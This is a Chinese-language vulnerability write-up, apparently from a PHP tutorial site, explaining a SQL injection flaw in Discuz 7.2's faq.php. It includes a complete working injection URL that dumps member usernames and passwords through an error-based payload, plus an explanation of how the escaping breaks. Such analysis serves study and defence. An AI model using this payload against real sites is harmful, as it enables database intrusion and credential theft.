Discuz7.2版的faq.php SQL注入漏洞分析


Posted in PHP onAugust 06, 2014

注入代码实例:

https://3water.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

($action == 'grouppermission') {
...

        ksort($gids);

        $groupids = array();

        foreach($gids as $row) {

                $groupids[] = $row[0];

        }
        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

...

}

function implodeids($array) {

        if(!empty($array)) {

                return "'".implode("','", is_array($array) ? $array : array($array))."'";

        } else {

                return '';

        }

}

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入?

discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
'1','\','3','4'
有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。

PHP 相关文章推荐
搜索和替换文件或目录的一个好类--很实用
Oct 09 PHP
Codeigniter框架实现获取分页数据和总条数的方法
Dec 05 PHP
PHP实现通过get方式识别用户发送邮件的方法
Jul 16 PHP
php实现的数字验证码及数字运算验证码
Jul 30 PHP
Codeigniter控制器controller继承问题实例分析
Jan 19 PHP
Symfony2框架学习笔记之HTTP Cache用法详解
Mar 18 PHP
PHP编写登录验证码功能 附调用方法
May 19 PHP
PHP实现的统计数据功能详解
Dec 06 PHP
Yii2 如何在modules中添加验证码的方法
Jun 19 PHP
Laravel中批量赋值Mass-Assignment的真正含义详解
Sep 29 PHP
php实现数字补零的方法总结
Sep 12 PHP
Laravel框架实现简单的学生信息管理平台案例
May 07 PHP
PHP中的reflection反射机制测试例子
Aug 05 #PHP
PHP的反射类ReflectionClass、ReflectionMethod使用实例
Aug 05 #PHP
实例介绍PHP的Reflection反射机制
Aug 05 #PHP
PHP中读取文件的8种方法和代码实例
Aug 05 #PHP
PHP中Fatal error session_start()错误解决步骤
Aug 05 #PHP
PHP学习笔记(二) 了解PHP的基本语法以及目录结构
Aug 04 #PHP
PHP学习笔记(一) 简单了解PHP
Aug 04 #PHP
You might like
php 遍历显示文件夹下所有目录、所有文件的函数,没有分页的代码
2008/11/14 PHP
PHP设计模式 注册表模式
2012/02/05 PHP
浅析php静态方法与非静态方法的用法区别
2016/05/17 PHP
PHP实现查询手机归属地的方法详解
2017/04/28 PHP
jQuery 动画基础教程
2008/12/25 Javascript
页面中body onload 和 window.onload 冲突的问题的解决
2009/07/01 Javascript
DOM Scripting中的图片切换[兼容Firefox]
2010/06/12 Javascript
映彩衣的js随笔(js图片切换效果)
2011/07/31 Javascript
JavaScript的模块化:封装(闭包),继承(原型) 介绍
2013/07/22 Javascript
javascript获取url上某个参数的方法
2013/11/08 Javascript
Javscript删除数组中指定元素并返回新数组
2014/03/06 Javascript
Linux使用Node.js建立访问静态网页的服务实例详解
2017/03/21 Javascript
vue2.x select2 指令封装详解
2017/10/12 Javascript
vue实现验证码输入框组件
2017/12/14 Javascript
11行JS代码制作二维码生成功能
2018/03/09 Javascript
详解vue几种主动刷新的方法总结
2019/02/19 Javascript
JS实现放烟花效果
2020/03/10 Javascript
简单了解Vue + ElementUI后台管理模板
2020/04/07 Javascript
vue移动端弹起蒙层滑动禁止底部滑动操作
2020/07/22 Javascript
js操作两个json数组合并、去重,以及删除某一项元素
2020/09/22 Javascript
python 判断一个进程是否存在
2009/04/09 Python
python使用beautifulsoup从爱奇艺网抓取视频播放
2014/01/23 Python
Python实现一个简单的验证码程序
2017/11/03 Python
快速了解python leveldb
2018/01/18 Python
python实现两个文件合并功能
2018/04/01 Python
Pandas GroupBy对象 索引与迭代方法
2018/11/16 Python
利用pyecharts实现地图可视化的例子
2019/08/12 Python
python中的socket实现ftp客户端和服务器收发文件及md5加密文件
2020/04/01 Python
python操作微信自动发消息的实现(微信聊天机器人)
2020/07/14 Python
PyTorch如何搭建一个简单的网络
2020/08/24 Python
python用700行代码实现http客户端
2021/01/14 Python
网络工程系信息安全技术专业大学生求职信
2013/10/22 职场文书
诚实守信主题班会
2015/08/13 职场文书
私人贷款担保书该怎么写呢?
2019/07/02 职场文书
nginx如何将http访问的网站改成https访问
2021/03/31 Servers
MySQL事务操作的四大特性以及并发事务问题
2022/04/12 MySQL